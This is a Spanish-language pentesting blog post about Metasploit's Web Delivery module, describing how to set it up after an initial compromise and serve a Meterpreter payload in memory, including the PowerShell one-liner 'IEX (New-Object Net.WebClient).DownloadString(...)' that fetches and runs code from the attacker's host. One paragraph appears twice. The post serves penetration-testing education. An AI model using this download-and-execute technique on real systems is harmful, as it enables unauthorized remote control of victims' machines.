Web Delivery: Un módulo que simplifica el despliegue de payloads en Metasploit

He hablado mucho sobre Metasploit y Powershell en los últimos años. He tenido la suerte de tener diferentes formaciones en los principales congresos de seguridad, pero siempre se aprenden cosas nuevas. Metasploit tiene una comunidad que hace que el framework avance a una velocidad enorme, mientras que Powershell cada vez puede hacer más y más cosas. Es un indispensable en la auditoría interna moderna.

Hoy hablaremos del módulo Web Delivery, el cual permite desplegar mediante una petición web un payload sobre una máquina concreta. En otras palabaras, si estamos haciendo uso de un Bypass UAC de Powershell y queremos ejecutar un Meterpreter a través de Powershell podremos hacer una petición a este servicio y obtener un Meterpreter en formato PSHell. También podemos obtener un payload para ser ejecutado en Python y en PHP, por lo que hace fundamental conocer este módulo y su uso.

¿Cuándo se puede o se debe utilizar Web Delivery? En un entorno de post-explotación, por ejemplo, en un entorno de elevación de privilegio o un bypass UAC en Windows. Si se parte de la situación de compromiso en una máquina, dónde el atacante tiene una sesión o se está explotando una vulnerabilidad a través de la ejecución de un exploit en Python, PHP o Powershell, Web Delivery proporciona flexibilidad y sencillez.

¿Cuándo se puede o se debe utilizar Web Delivery? En un entorno de post-explotación, por ejemplo, en un entorno de elevación de privilegio o un bypass UAC en Windows. Si se parte de la situación de compromiso en una máquina, dónde el atacante tiene una sesión o se está explotando una vulnerabilidad a través de la ejecución de un exploit en Python, PHP o Powershell, Web Delivery proporciona flexibilidad y sencillez.


PoC: Explotación y obtención de Meterpreter con Powershell

Partiendo del escenario en el que se va a explotar una vulnerabilidad, puede ser una buena técnica utilizar Powershell para lograr obtener un Meterpreter. En este caso, la estrategia es la siguiente:

·       Se lanzará el exploit contra la máquina remota.
·       El payload será una Powershell, la cual se encargará de cargar un módulo externo. Este módulo externo será una función de Powershell que se ejecutará con el objetivo de hacer una petición a nuestro Web Delivery.
·       Una vez que nuestro servicio Web Delivery haya obtenido la petición, responderá con el código del Meterpreter para Powershell.
·       Todo, en memoria.

En primer lugar, configuramos el módulo:
·       set TARGET 2. Con esto el payload que se ofrezca será el de Powershell, en este caso una Meterpreter o el que indiquemos en el atributo PAYLOAD de Metasploit.
·       Elección del Payload.
·       Configuración de LHOST y LPORT.
·       Lanzar el módulo en background.


Como se puede ver, hay una instrucción que es importante. Nos proporcionan la instrucciónIEX (New-Object Net.WebClient).DownloadString([IP]/URIPATH. Es importante, por limpieza indicar que el URIPATH es /, en la imagen no se hizo y se ve un PATH extraño.


Si nos fijamos en la instrucción, vemos como se hace una petición desde la Powershell en post-explotación para conseguir un Meterpreter a través de Web Delivery, en formato adecuado. Este tipo de escenarios, son claros en los ejemplos de Bypass UAC que podemos encontrar y de los que hemos hablado:
·       Bypass UAC Fileless.
·       Bypass UAC WinSxS.
A continuación, se puede ver el acceso a la sesión a través de la Meterpreter obtenida con Web Delivery. Los usos son muchos y muy diferentes. Simplificación y manejo en la mano del pentester.


Web Delivery es un interesante servicio que encontramos en Metasploit y es que como comenté anteriormente, disponemos de un gran número de funcionalidades, y cada día más, que nos aportan mucha flexibilidad y mucho potencial. La integración entre Metasploit y Powershell es una realidad y la potencia que ofrecen juntos es muy grande. Todo pentester debe tener en cuenta esta unión, que es real desde hace ya años.